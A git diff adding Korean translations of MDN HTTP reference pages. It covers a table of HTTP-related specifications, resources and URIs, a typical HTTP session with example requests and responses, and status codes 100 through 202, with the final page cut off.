+ <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td>
+ <td>Cookie Prefixes</td>
+ <td>IETF Draft</td>
+ </tr>
+ <tr>
+ <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td>
+ <td>Same-Site Cookies</td>
+ <td>IETF Draft</td>
+ </tr>
+ <tr>
+ <td>{{rfc(2145)}}</td>
+ <td>Use and Interpretation of HTTP Version Numbers</td>
+ <td>Informational</td>
+ </tr>
+ <tr>
+ <td>{{rfc(6585)}}</td>
+ <td>Additional HTTP Status Codes</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7538)}}</td>
+ <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7725)}}</td>
+ <td>An HTTP Status Code to Report Legal Obstacles</td>
+ <td>On the standard track</td>
+ </tr>
+ <tr>
+ <td>{{rfc(2397)}}</td>
+ <td>The "data" URL scheme</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(3986)}}</td>
+ <td>Uniform Resource Identifier (URI): Generic Syntax</td>
+ <td>Internet Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(5988)}}</td>
+ <td>Web Linking<br>
+ <em>Defines the {{HTTPHeader("Link")}} header</em></td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td>
+ <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td>
+ <td>Informational (Expired)</td>
+ </tr>
+ <tr>
+ <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td>
+ <td>HTTP Client Hints</td>
+ <td>IETF Draft</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7578)}}</td>
+ <td>Returning Values from Forms: multipart/form-data</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(6266)}}</td>
+ <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(2183)}}</td>
+ <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br>
+ <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7239)}}</td>
+ <td>Forwarded HTTP Extension</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(6455)}}</td>
+ <td>The WebSocket Protocol</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(5246)}}</td>
+ <td>The Transport Layer Security (TLS) Protocol Version 1.2<br>
+ <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td><a href="https://tlswg.github.io/tls13-spec/)">Draft spec</a></td>
+ <td>The Transport Layer Security (TLS) Protocol Version 1.3<br>
+ <em>Once ready, this protocol will supersede TLS 1.2.</em></td>
+ <td>IETF Draft</td>
+ </tr>
+ <tr>
+ <td>{{rfc(2817)}}</td>
+ <td>Upgrading to TLS Within HTTP/1.1</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7540)}}</td>
+ <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7541)}}</td>
+ <td>HPACK: Header Compression for HTTP/2</td>
+ <td>On the standard track</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7838)}}</td>
+ <td>HTTP Alternative Services</td>
+ <td>On the standard track</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7301)}}</td>
+ <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br>
+ <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(6454)}}</td>
+ <td>The Web Origin Concept</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CORS")}}</td>
+ <td>Cross-Origin Resource Sharing</td>
+ <td>{{Spec2("CORS")}}</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7034)}}</td>
+ <td>HTTP Header Field X-Frame-Options</td>
+ <td>Informational</td>
+ </tr>
+ <tr>
+ <td>{{rfc(6797)}}</td>
+ <td>HTTP Strict Transport Security (HSTS)</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Upgrade Insecure Requests")}}</td>
+ <td>Upgrade Insecure Requests</td>
+ <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSP 1.0")}}</td>
+ <td>Content Security Policy 1.0<br>
+ <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td>
+ <td>{{Spec2("CSP 1.0")}}</td>
+ </tr>
+ <tr>
+ <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td>
+ <td>Specifying legacy document modes*<br>
+ <em>Defines X-UA-Compatible</em></td>
+ <td>Note</td>
+ </tr>
+ <tr>
+ <td>{{rfc(5689)}}</td>
+ <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br>
+ <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(2324)}}</td>
+ <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td>
+ <td>April 1st joke spec</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7168)}}</td>
+ <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td>
+ <td>April 1st joke spec</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG")}}</td>
+ <td>HTML<br>
+ <em>Defines extensions of HTTP for Server-Sent Events</em></td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/web/http/resources_and_uris/index.html b/files/ko/web/http/resources_and_uris/index.html
new file mode 100644
index 0000000000..bca2c78223
--- /dev/null
+++ b/files/ko/web/http/resources_and_uris/index.html
@@ -0,0 +1,27 @@
+---
+title: Resources and URIs
+slug: Web/HTTP/Resources_and_URIs
+tags:
+ - HTTP
+ - Overview
+ - Reference
+translation_of: Web/HTTP/Resources_and_URIs
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP는 브라우저 혹은 사용자 에이전트에게 인터넷 상 다른 리소스와의 통신을 허용합니다: 이를 위해 브라우저에는 자원의 신분(<em>identity)</em>와 위치(<em>location)</em>가 필요합니다. 이 두 비트의 정보는 {{glossary("URI")}}로 설명됩니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></dt>
+ <dd>URI와 웹에서의 자원 접근 방법</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt>
+ <dd>A specific kind of URIs, data URIs, embed the resource itself inside the identifier.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">www 와non-www URL 중에서 선택하기</a></dt>
+ <dd>도메인에 접두사로 www을 사용해야할지 말지에 대한 조언을 제공합니다. 이 글에서는 선택에 대한 결과와 과정 또한 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a></dt>
+ <dd>MIME 미디어 타입은 특정 자원이 어떤 종류의 문서인지 정의합니다. 이 글에서는 웹에서 사용할 수 있는 가장 유용한 MIME 타입과 구문을 제공합니다.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">Complete list of MIME type</a></dt>
+ <dd>웹 개발자에게 유용한 포괄적인 MIME 타입 목록.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Separating_identity_and_location_of_a_resource">Separating identity and location of a resource: the Alt-Svc header</a></dt>
+ <dd>신분(<em>identity)</em>와 위치(<em>location)</em> 둘 다 URL에 기술되더라도 둘의 개념은 다르며 둘을 구분하는 것은 때때로 유용합니다.이 글에서는 {{HTTPHeader("Alt-Svc")}} 헤더에 대해 소개합니다.</dd>
+</dl>
diff --git a/files/ko/web/http/session/index.html b/files/ko/web/http/session/index.html
new file mode 100644
index 0000000000..b768adb30c
--- /dev/null
+++ b/files/ko/web/http/session/index.html
@@ -0,0 +1,159 @@
+---
+title: A typical HTTP session
+slug: Web/HTTP/Session
+translation_of: Web/HTTP/Session
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP와 같은 클라이언트-서버 프로토콜에서, 세션은 다음의 세 가지 과정으로 이루어집니다:</p>
+
+<ol>
+ <li>클라이언트가 TCP 연결을 수립합니다(또는 전송 계층이 TCP가 아닌 다른 적당한 연결로).</li>
+ <li>클라이언트는 요청을 전송한 뒤 응답을 기다립니다.</li>
+ <li>서버는 요청에 대해 처리하고 그에 대한 응답을 상태 코드 그리고 요청에 부합하는 데이터와 함께 돌려보냅니다.</li>
+</ol>
+
+<p>HTTP/1.1부터는, 세번째 과정 이후 클라이언트가 해당 시점에 또 다른 요청을 보낼 수 있도록 연결을 더 이상 닫지 않습니다: 그러므로 두번째, 세번째 과정이 몇 번에 걸쳐 일어날 수 있습니다.</p>
+
+<h2 id="연결_수립">연결 수립</h2>
+
+<p>클라이언트-서버 프로토콜에서, 클라이언트는 연결을 수립합니다. HTTP에서 연결을 여는 것은, 보통의 경우 TCP인, 기본적인 전송 계층 내에서 연결을 수립하는 것을 뜻합니다.</p>
+
+<p>TCP를 이용할 경우, 컴퓨터 상의 HTTP 서버를 위한 기본 포트는 80인데, 8000 혹은 8080처럼 다른 포트들도 자주 사용되곤 합니다. 요청을 위한 페이지 URL은 도메인 이름과 포트 번호 둘 다 포함하는데, 포트 번호가 80일 경우 생략 가능합니다. 좀 더 자세한 내용은 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a>을 참고하시기 바랍니다.</p>
+
+<div class="note"><strong>기억하세요:</strong> 클라이언트-서버 모델은 서버로 하여금 명시적인 요청없이 클라이언트로 데이터를 전송하는 것을 허용하지 않습니다. 이런 문제에 대한 해결책으로, 웹 개발자들은 몇 가지 기술을 사용합니다: {{domxref("XMLHTTPRequest")}} 혹은 {{domxref("Fetch")}} API를 통해 주기적으로 서버에 핑하기, HTML <a href="/en/WebSockets" title="en/WebSockets">웹소켓 API</a>, 혹은 그와 유사한 프로토콜 사용</div>
+
+<h2 id="클라이언트_요청_전송">클라이언트 요청 전송</h2>
+
+<p>연결이 한번 수립되고 나면, 사용자-에이전트는 요청을 보낼 수 있습니다(사용자-에이전트는 일반적으로 웹 브라우저를 말하지만, 예를 들자면 crawler와 같이 무엇이든 될 수 있습니다). 클라이언트 요청은 세 가지 블록으로 나누어진, CRLF(라인 피드를 따르는 캐리지 리턴)로 구분된 텍스트 지시자들로 이루어집니다:</p>
+
+<ol>
+ <li>첫번째 줄은 파라메터가 따르는 요청 메서드를 포함합니다:<br>
+ The first line contains a request method followed by its parameters:
+ <ul>
+ <li>문서의 경로, 즉 프로토콜과 도메인 이름을 제외한 절대 URL</li>
+ <li>사용중인 HTTP 프로토콜 버전</li>
+ </ul>
+ </li>
+ <li>바로 다음 줄들은 각각 특정 헤더를 나타내는데, 데이터의 종류가 적합한지(예를 들어, 언어는 무엇인지, MIME 타입은 무엇인지 등) 혹은 서버의 동작을 수정하는 몇 가지 데이터(예를 들어, 이미 캐시되어 있는 경우 응답을 전송하지 않는다든지 하는) 등에 관한 몇 가지 정보를 서버에게 제공합니다. 이런 HTTP 헤더들은 빈 줄로 끝나는 블록을 형성합니다.</li>
+ <li>마지막 블록은 부가적인 데이터 블록으로, 더 많은 데이터를 포함하며 주로 POST 메서드에 의해 사용됩니다.</li>
+</ol>
+
+<h3 id="요청_예제">요청 예제</h3>
+
+<p>develper.mozilla.org, 즉 <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>의 최상위 페이지를 가져오도록 요청하고, 가능하다면 서버에게 사용자-에이전트가 해당 페이지에 대해 프랑스어로 된 페이지를 원한다고 알려줍니다:</p>
+
+<pre>GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+</pre>
+
+<p>헤더 블록으로부터 데이터 블록을 구분짓는, 첫번째 빈줄에 주목하세요. 헤더 중에 <code>Content-Length:</code> 헤더가 없으므로, 데이터 블록은 비어있고 서버는 헤더의 마지막을 나타내는 빈 줄을 받는 즉시 요청을 처리할 수 있습니다.</p>
+
+<p>다음은 결과 전송 형식입니다:</p>
+
+<pre>POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&amp;request=Send%20me%20one%20of%20your%20catalogue
+</pre>
+
+<h3 id="요청_메서드">요청 메서드</h3>
+
+<p>HTTP는 주어진 자원에 대해 실행되길 바라는 동작을 가리키는 <a href="/en-US/docs/Web/HTTP/Methods">요청 메서드</a> 집합을 정의합니다. 그것들이 명사가 될 수 있으지라도, 이 요청 메서드들은 때때로 HTTP 동사로써 참조됩니다. 일반적으로 대부분의 요청은 <code>GET과</code> <code>POST입니다</code>:</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}} 메서드는 지정된 자원의 표시를 요청합니다. <code>GET</code>을 사용하는 요청은 데이터를 가져오는 것 외에는 할 수 없습니다.</li>
+ <li>{{HTTPMethod("POST")}} 메서드는 서버에 데이터를 전송하여 서버가 상태를 바꾸도록 만듭니다. 이것은 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>에서 자주 사용되는 메서드입니다.</li>
+</ul>
+
+<h2 id="서버_응답의_구조">서버 응답의 구조</h2>
+
+<p>연결된 에이전트가 자신의 요청을 전송하고 난 뒤에, 웹 서버가 그것을 처리하고 최종적으로 응답을 돌려보내게 됩니다. 클라이언트 요청과 유사하게, 서버 응답은 세 개의 다른 블록으로 나누어진, CRLF로 구분된 텍스트 지시자들로 형성됩니다:</p>
+
+<ol>
+ <li><em>상태 줄</em>인 첫번째 줄은 상태 요청(그리고 인간이 읽을 수 있는 텍스트 내에서의 의미)이 따르도록 사용된 HTTP 버전의 acknowledgment로 구성됩니다.</li>
+ <li>다음 줄들은 각각 특정 HTTP 헤더를 나타는데, 전송되는 데이터에 관한 정보(이를테면, 타입, 데이터 크기, 사용된 압축 알고리즘, 캐시에 대한 힌트 등)를 클라이언트에게 제공합니다. 클라이언트의 요청에 대한 HTTP 헤더 블록과 유사하게, 이 HTTP 헤더들은 빈 줄로 끝나는 블록을 형성합니다.</li>
+ <li>마지막 블록은 데이터 블록으로 (존재한다면) 데이터를 포함합니다.</li>
+</ol>
+
+<h3 id="응답_예제">응답 예제</h3>
+
+<p>웹 페이지의 성공적인 수신:</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <em><strong>(here comes the 29769 bytes of the requested web page)</strong></em>
+
+</pre>
+
+<p>요청 자원이 영구적으로 옮겨졌다는 내용의 알림</p>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(this is the</em><em> new link to the resource; it is expected that the user-agent will fetch it)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 <em>(<strong>the content contains a default page to display if the user-agent is not able to follow the link)</strong></em>
+
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
+&lt;html&gt;&lt;head&gt;
+&lt;title&gt;301 Moved Permanently&lt;/title&gt;
+&lt;/head&gt;&lt;body&gt;
+&lt;h1&gt;Moved Permanently&lt;/h1&gt;
+&lt;p&gt;The document has moved &lt;a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>"&gt;here&lt;/a&gt;.&lt;/p&gt;
+&lt;hr&gt;
+&lt;address&gt;Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80&lt;/address&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+
+<p>요청된 자원이 존재하지 않는다는 내용의 알림</p>
+
+<pre>HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <strong><em>(contains a site-customized page helping the user to find the missing resource)</em></strong>
+
+</pre>
+
+<h3 id="응답_상태_코드">응답 상태 코드</h3>
+
+<p><a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a>는 특정 HTTP 요청이 성공적으로 끝났는지 아닌지를 가르킵니다. 응답은 다섯가지 계층 내로 그룹화됩니다: 정보를 제공하는 응답, 성공적인 응답, 리다이렉트, 클라이언트 오류, 그리고 서버 오류.</p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: 성공. 요청이 성공했다는 것을 의미합니다.</li>
+ <li>{{HTTPStatus(301)}}: 영구적으로 옮겨짐. 이 응답 코드는 요청된 자원의 URI가 변경되었다는 것을 의미합니다.</li>
+ <li>{{HTTPStatus(404)}}: 찾을 수 없음. 서버가 요청된 자원을 찾을 수 없음을 의미합니다.</li>
+</ul>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a></li>
+</ul>
diff --git a/files/ko/web/http/status/100/index.html b/files/ko/web/http/status/100/index.html
new file mode 100644
index 0000000000..ed01c3f3a9
--- /dev/null
+++ b/files/ko/web/http/status/100/index.html
@@ -0,0 +1,46 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+tags:
+ - HTTP
+ - Informational
+ - Status code
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>100 Continue</code></strong> 정보 상태 응답 코드는 클라이언트가 서버로 보낸 요청에 문제가 없으니 다음 요청을 이어서 보내도 된다는 것을 의미합니다. 만약 클라이언트의 작업이 완료되었다면 이 응답은 무시해도 됩니다.</p>
+
+<p>클라이언트가 서버로 하여금 이를 검토하게 하려면 첫 번째 요청에서 {{HTTPHeader("Expect")}}<code>: 100-continue</code>를 헤더로 보내야 합니다. 이후, 클라이언트는 본문을 보내기 전에 서버가 <code>100 Continue</code> 상태 코드로 응답하길 기다려야 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.100")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/ko/web/http/status/101/index.html b/files/ko/web/http/status/101/index.html
new file mode 100644
index 0000000000..7402c1b43a
--- /dev/null
+++ b/files/ko/web/http/status/101/index.html
@@ -0,0 +1,52 @@
+---
+title: 101 Switching Protocols
+slug: Web/HTTP/Status/101
+tags:
+ - HTTP
+ - HTTP Status Code
+ - Informational
+ - Reference
+ - WebSockets
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>101 Switching Protocols</strong></code>는 클라이언트가 {{HTTPHeader("Upgrade")}} 헤더를 통해 요청한 것에 따라 서버가 프로토콜을 바꾼다는 것을 알려주는 응답 코드입니다.</p>
+
+<p>서버는 어떤 프로토콜로 바꾸는지를 응답의 {{HTTPHeader("Upgrade")}} 헤더에 담습니다. 구체적인 절차는 <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">프로토콜 업데이트 메커니즘</a>에 기술되어 있습니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">101 Switching Protocols</pre>
+
+<h2 id="예제">예제</h2>
+
+<p><code><strong>101 Switching Protocols</strong></code>는 <a href="/ko/docs/Web/API/WebSockets_API">WebSockets</a>와 함께 사용할 수 있습니다.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/ko/web/http/status/103/index.html b/files/ko/web/http/status/103/index.html
new file mode 100644
index 0000000000..0f31f3a62f
--- /dev/null
+++ b/files/ko/web/http/status/103/index.html
@@ -0,0 +1,43 @@
+---
+title: 103 Early Hints
+slug: Web/HTTP/Status/103
+translation_of: Web/HTTP/Status/103
+---
+<p>{{HTTPSidebar}}{{Draft}}</p>
+
+<p>HTTP <strong><code>103 Early Hints</code></strong> 정보 상태 응답 코드는 서버가 응답을 준비하는 동안에도 사용자 에이전트가 자원을 미리 읽어들일 수 있도록, 주로 {{HTTPHeader("Link")}} 헤더와 함께 사용됩니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">103 Early Hints</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC(8297, "103 Early Hints")}}</td>
+ <td><span class="spec-RFC">IETF RFC</span></td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.status.103")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/200/index.html b/files/ko/web/http/status/200/index.html
new file mode 100644
index 0000000000..ca5b6fe0ef
--- /dev/null
+++ b/files/ko/web/http/status/200/index.html
@@ -0,0 +1,54 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+tags:
+ - HTTP
+ - Status code
+ - Success
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <strong><code>200 OK</code></strong>는 요청이 성공했음을 나타내는 성공 응답 상태 코드입니다.</span> 기본값에서 200 응답은 캐시에 저장할 수 있습니다.</p>
+
+<p>성공의 정의는 다음과 같이 HTTP 요청 메서드에 따라 나뉩니다.</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}: 리소스를 가져왔고 메시지 바디에 전송되었다.</li>
+ <li>{{HTTPMethod("HEAD")}}: 개체 헤더가 메시지 바디에 있다.</li>
+ <li>{{HTTPMethod("POST")}}: 리소스가 명시하는 행동의 결과가 메시지 바디에 전송되었다.</li>
+ <li>{{HTTPMethod("TRACE")}}: 서버가 요청받은 메시지가 메시지 바디에 포함되어있다.</li>
+</ul>
+
+<p>{{HTTPMethod("PUT")}} 또는 {{HTTPMethod("DELETE")}}의 성공 결과는 종종 <code>200 OK</code>가 아니라 {{HTTPStatus("204", "204 No Content")}} (리소스를 새로 생성한 경우 {{HTTPStatus("201", "201 Created")}}) 입니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.200")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li>
+</ul>
diff --git a/files/ko/web/http/status/201/index.html b/files/ko/web/http/status/201/index.html
new file mode 100644
index 0000000000..32342eb67c
--- /dev/null
+++ b/files/ko/web/http/status/201/index.html
@@ -0,0 +1,48 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+tags:
+ - HTTP
+ - Reference
+ - Status code
+ - Success
+translation_of: Web/HTTP/Status/201
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <strong><code>201 Created</code></strong>는 요청이 성공적으로 처리되었으며, 자원이 생성되었음을 나타내는 성공 상태 응답 코드입니다.</span> 해당 HTTP 요청에 대해 회신되기 이전에 정상적으로 생성된 자원은 회신 메시지의 본문(body)에 동봉되고, 구체적으로는 요청 메시지의 URL이나, {{HTTPHeader("Location")}} 헤더의 내용에 위치하게 됩니다.</p>
+
+<p>이 상태코드(status code)는 일반적으로 {{HTTPMethod("POST")}} 요청(request)에 대한 응답결과(result)로써 사용합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">201 Created</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.201")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ko/web/http/status/202/index.html b/files/ko/web/http/status/202/index.html
new file mode 100644
index 0000000000..5f92fc40d7
--- /dev/null
+++ b/files/ko/web/http/status/202/index.html
@@ -0,0 +1,39 @@
+---
+title: 202 Accepted
+slug: Web/HTTP/Status/202
+tags:
+ - HTTP
+ - Reference
+ - Status code
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>202 Accepted</strong></code> 는 요청이 성공적으로 접수되었으나, 아직 해당 요청에 대해 처리 중이거나 처리 시작 전임을 의미합니다. 요청이 처리 중 실패할 수도 있기 때문에 요청은 실행될 수도 실행되지 않을수도 있습니다.</p>
+
